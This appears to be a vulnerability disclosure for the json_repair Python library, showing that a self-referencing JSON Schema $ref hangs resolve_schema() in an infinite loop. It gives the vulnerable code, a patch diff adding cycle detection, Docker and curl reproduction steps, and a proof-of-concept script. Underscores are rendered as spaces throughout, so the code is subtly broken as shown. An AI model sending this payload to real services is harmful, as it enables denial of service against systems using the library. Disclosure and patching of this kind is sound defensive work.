# src/json repair/schema repair.py:184-190
schema dict = cast("dict[str, Any]", schema)
while "$ref" in schema dict:
  ref = schema dict["$ref"]
  resolved = self. resolve ref(ref)
  if isinstance(resolved, bool):
    return resolved
  schema dict = resolved

{"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}}

# docs/app.py:14, 21-36
data = request.get json()
schema = data.get("schema")
if schema is not None and not isinstance(schema, (dict, bool)):
  raise ValueError("schema must be a JSON object or boolean.")
...
if schema is not None:
  loads kwargs["schema"] = schema
parsed json = loads(malformed json, **loads kwargs)

--- a/src/json repair/schema repair.py
+++ b/src/json repair/schema repair.py
   def resolve schema(self, schema: object | None) -> dict[str, Any] | bool:
     ...
-    schema dict = cast("dict[str, Any]", schema)
+    schema dict = cast("dict[str, Any]", schema)
+    seen schema ids: set[int] = set()
     while "$ref" in schema dict:
       ref = schema dict["$ref"]
+      if not isinstance(ref, str):
+        raise SchemaDefinitionError("$ref must be a string.")
+      schema id = id(schema dict)
+      if schema id in seen schema ids:
+        raise SchemaDefinitionError(f"Circular $ref detected: {ref}")
+      seen schema ids.add(schema id)
       resolved = self. resolve ref(ref)
       if isinstance(resolved, bool):
         return resolved
       schema dict = resolved
     return schema dict

# Clone the affected version
git clone https://github.com/mangiucugna/json repair.git
git -C json repair checkout 0015c74c01bdafe4bb7435780657501741c2a5f7

# Install dependencies
pip install flask flask-cors jsonschema pydantic
pip install -e json repair/

# Start the demo API
PYTHONPATH=json repair/src flask --app json repair/docs/app run --host=127.0.0.1 --port=5005

FROM python:3.11-slim
WORKDIR /app
COPY repo/ /app/repo/
RUN pip install --no-cache-dir flask flask-cors jsonschema pydantic && 
  pip install --no-cache-dir -e /app/repo/
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]

docker build -t vuln001-json-repair -f vuln-001/Dockerfile .
docker run --rm vuln001-json-repair

timeout 5 curl -sS -X POST http://127.0.0.1:5005/api/repair-json 
 -H 'Content-Type: application/json' 
 --data '{"malformedJSON":"{}","schema":{"$ref":"#/definitions/a","definitions":{"a":{"$ref":"#/definitions/a"}}}}'
# Expected: no response before timeout; curl exits with code 124

timeout 5 python3 - <<'PY'
from json repair import loads
schema = {"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}}
print(loads("{}", schema=schema))
PY
# Expected: process killed after 5 s; exit code 124

FROM python:3.11-slim

WORKDIR /app

# Copy the vulnerable json repair repository (build context is the report root)
COPY repo/ /app/repo/

# Install Flask demo API dependencies and schema extras
RUN pip install --no-cache-dir 
    flask 
    flask-cors 
    jsonschema 
    pydantic && 
  pip install --no-cache-dir -e /app/repo/

# Copy the proof-of-concept script
COPY vuln-001/poc.py /app/poc.py

CMD ["python3", "/app/poc.py"]

#!/usr/bin/env python3
"""
PoC for VULN-001: Circular JSON Schema $ref causes unbounded CPU DoS
CWE-835 — Loop with Unreachable Exit Condition

Affected: json repair <= 0.59.10 (commit 0015c74)
Sink:   src/json repair/schema repair.py:185
     SchemaRepairer.resolve schema() while loop follows $ref without cycle detection.

Attack schema:
  {"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}}

When passed to loads(..., schema=<above>), resolve schema() enters an infinite loop
because resolve ref() always returns the same dict object from root schema.

Verdict logic:
 - Baseline (valid schema) must complete in < TIMEOUT seconds.
 - Attack (circular $ref) must still be running at TIMEOUT seconds.
 Both conditions together constitute deterministic proof of the vulnerability.
"""

import os
import subprocess
import sys
import tempfile
import time

# Seconds to wait before declaring the attack confirmed (infinite loop)
TIMEOUT SECONDS = 5

CIRCULAR SCHEMA = {
  "$ref": "#/definitions/a",
  "definitions": {
    "a": {"$ref": "#/definitions/a"}
  }
}

NORMAL SCHEMA = {
  "type": "object",
  "properties": {
    "name": {"type": "string"}
  }
}

 RUNNER TEMPLATE = """
import sys
sys.path.insert(0, '/app/repo/src')
from json repair import loads
schema = {schema repr}
result = loads('{{}}', schema=schema)
print(result)
"""


def run schema test(schema: dict, timeout: int) -> tuple[bool, float, str]:
  """
  Run json repair loads() with the given schema in an isolated subprocess.

  Returns:
    timed out (bool): True if the process was still running at `timeout` seconds.
    elapsed (float): Wall-clock seconds until completion or kill.
    output (str): stdout/stderr excerpt.
  """
  script content = RUNNER TEMPLATE.format(schema repr=repr(schema))

  with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as fh:
    fh.write(script content)
    script path = fh.name

  start = time.monotonic()
  try:
    proc = subprocess.run(
      [sys.executable, script path],
      timeout=timeout,
      capture output=True,
      text=True,
    )
    elapsed = time.monotonic() - start
    output = (proc.stdout.strip() or proc.stderr.strip())[:400]
    return False, elapsed, output
  except subprocess.TimeoutExpired:
    elapsed = time.monotonic() - start
    return True, elapsed, f"[no output — process killed after {elapsed:.2f}s]"
  finally:
    os.unlink(script path)


def main() -> int:
  print("=" * 64)
  print("VULN-001 PoC: Circular $ref JSON Schema DoS")
  print("json repair SchemaRepairer.resolve schema() — CWE-835")
  print("=" * 64)

  # --- Test 1: baseline (must complete quickly) ---
  print(f"
[TEST 1] Baseline — valid schema (expect completion < {TIMEOUT SECONDS}s)")
  timed out baseline, elapsed baseline, output baseline = run schema test(
    NORMAL SCHEMA, TIMEOUT SECONDS
  )
  if timed out baseline:
    print(f" UNEXPECTED TIMEOUT after {elapsed baseline:.2f}s — environment issue")
    baseline ok = False
  else:
    print(f" COMPLETED in {elapsed baseline:.3f}s -> {output baseline}")
    baseline ok = True

  # --- Test 2: circular $ref attack (must time out) ---
  print(
    f"
[TEST 2] Attack — circular $ref schema"
    f" (expect hang > {TIMEOUT SECONDS}s)"
  )
  print(f" Schema: {CIRCULAR SCHEMA}")
  timed out attack, elapsed attack, output attack = run schema test(
    CIRCULAR SCHEMA, TIMEOUT SECONDS
  )
  if timed out attack:
    print(
      f" TIMED OUT after {elapsed attack:.2f}s "
      f"— infinite loop CONFIRMED (VULNERABLE)"
    )
    attack confirmed = True
  else:
    print(
      f" Completed in {elapsed attack:.3f}s -> {output attack}"
      f"
 (patched or not triggered — check installation)"
    )
    attack confirmed = False

  # --- Summary ---
  print("
" + "=" * 64)
  if baseline ok and attack confirmed:
    print("VERDICT: PASS")
    print(" Normal schema : returned in under 1 s")
    print(f" Circular $ref : still running after {TIMEOUT SECONDS}s (killed)")
    print(" Conclusion: resolve schema() enters an unbounded loop on circular $ref.")
    return 0
  elif not attack confirmed:
    print("VERDICT: FAIL — circular $ref did not cause an infinite loop")
    print(" The library may already be patched in this build.")
    return 2
  else:
    print("VERDICT: FAIL — baseline test failed; check the environment")
    return 3


if  name  == " main ":
  sys.exit(main())